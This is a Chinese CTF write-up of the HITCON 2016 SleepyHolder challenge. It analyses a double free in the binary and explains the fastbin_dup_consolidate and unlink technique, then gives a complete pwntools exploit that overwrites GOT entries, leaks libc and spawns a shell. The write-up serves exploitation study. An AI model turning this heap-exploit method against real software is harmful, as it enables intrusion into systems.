Hitcon 2016 SleepyHolder-fastbin_dup_consolidate.c

参考/题目下载:
https://github.com/mehQQ/public_writeup/tree/master/hitcon2016/SleepyHolder
https://blog.csdn.net/seaaseesa/article/details/105856878

1,三联
在这里插入图片描述保护:基本都开了
功能:
0、唤醒功能;
1、创建-secret:
Small secret;
Big secret;
2、清除-secret;
3、修改-secret;

2,IDA分析功能
主函数:
在这里插入图片描述清除功能-free:
在这里插入图片描述
这四个指针都是BSS段的地址。
问题点:
未检查free的指针是否为空;
free后指针未至置为0;
导致:可以double free
而要想成功double free,仅一个fastbin的chunk不行。Fastbin对double free的检查机制是仅仅检查fastbin的头chunk是否与当前要释放的这个相同size的chunk地址一样。

修改功能:
在这里插入图片描述
if检查了指针;
导致:无法UAF

创建功能:
在这里插入图片描述可以创建3种规格,使用1和3规格,分别是创建fastchunk和largechunk(为了使fastchunk_bin到unsortbin中)。
扩展:创建2规格也行,就不用创建2个1规格的,因为astbin不能与top chunk相邻,否则直接它们合并。

思路

目前根据IDA分析出的条件:
double free;
bss段全局指针;

由于没有开启PIE,并且堆指针存储在bss上,因此unlink是比较好的方法。unlink利用需要如下条件:
全局指针;
溢出-伪造chunk(目前分析出的条件无此项);

解决伪造chunk问题:
利用malloc_consolidate,来将fastbin的chunk从fastbin里卸下来,触发malloc_consolidate的条件是申请一个大的堆,功能里正好有这个功能。malloc_consolidate的功能就是把chunk从fastbin取出,相邻的chunk进行合并,并且会设置下一个chunk的prev_inuse位为0。当chunk从fastbin里取出后,我们就可以在再一次free这个chunk了,此时,fastbin里没有形成循环链表,一个chunk在fastbin,一个chunk在unosrted bin。关键的一点是下一个chunk的prev_inuse已经清零,我们将fastbin里的那个chunk申请回来,伪造一个chunk,然后释放下一个unsorted bin范围的chunk,就会发生unlink。

Unlink以后,实现了任意地址读写,改写got表。

payload

bss段指针:
buf = 0x6020D0

#!/usr/bin/env python
from pwn import *
context.log_level="debug"

r = process("./SleepyHolder")
elf = ELF('./SleepyHolder')
def add(t, s):
    r.recvuntil('3. Renew secret\n')
    r.sendline('1')
    r.recvuntil('Big secret\n')
    r.sendline(str(t))
    r.recvuntil(': \n')
    r.send(s)

def de(t):
    r.recvuntil('3. Renew secret\n')
    r.sendline('2')
    r.recvuntil('Big secret\n')
    r.sendline(str(t))

def update(t, s):
    r.recvuntil('3. Renew secret\n')
    r.sendline('3')
    r.recvuntil('Big secret\n')
    r.sendline(str(t))
    r.recvuntil(': \n')
    r.send(s)

def debug():
    gdb.attach(r)
    pause()

add(1, 'a')	#chunk1_fastbin_chunk
add(2, 'a')	#chunk2_largin_chunk-avoid (fastbin_chunk + top_chunk) conlidate
#debug()	#break1
de(1)
add(3, 'a')	#chunk3_larbin_chunk-bypass double free check
#debug()	#break3
de(1)	# double free
#debug()		#break2

f_ptr = 0x6020d0	# global buf_ptr
fake_chunk = p64(0) + p64(0x21)
fake_chunk += p64(f_ptr - 0x18) + p64(f_ptr-0x10)
fake_chunk += '\x20'
add(1, fake_chunk)	#chunk1
#debug()	#break4
de(2)			#unlink
#debug()	#break5

atoi_GOT = 0x602080
free_GOT = 0x602018
puts_GOT = 0x602020
puts_plt = 0x400760
atoi_offset = 0x36e70
system_offset = 0x45380

f = p64(0)	#again global buf_ptr
f += p64(atoi_GOT) + p64(puts_GOT) + p64(free_GOT)
f += p32(1)*3
update(1, f)
#debug()		#break6
update(1, p64(puts_plt)) #change puts_got - > puts_plt
debug()	#break7
de(2)		
s = r.recv(6)
libc_base = u64(s.ljust(8, '\x00')) - atoi_offset	#leak libc_base
system = libc_base + system_offset
update(1, p64(system))
#debug()
add(2, 'sh\0')
de(2)	#get_shell


r.interactive()

调试

  • break2
    绕过利用consolidation形成double free

在这里插入图片描述
对比验证:
fastbin与top_chunk合并了
在这里插入图片描述-break4

在这里插入图片描述

注意:consolidation形成的double free,malloc一次就free bin中的都取出来了。

  • break5

在这里插入图片描述- break6
在这里插入图片描述

-break7
在这里插入图片描述
利用已修改的put_plt泄露libc_base,然后getshell。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值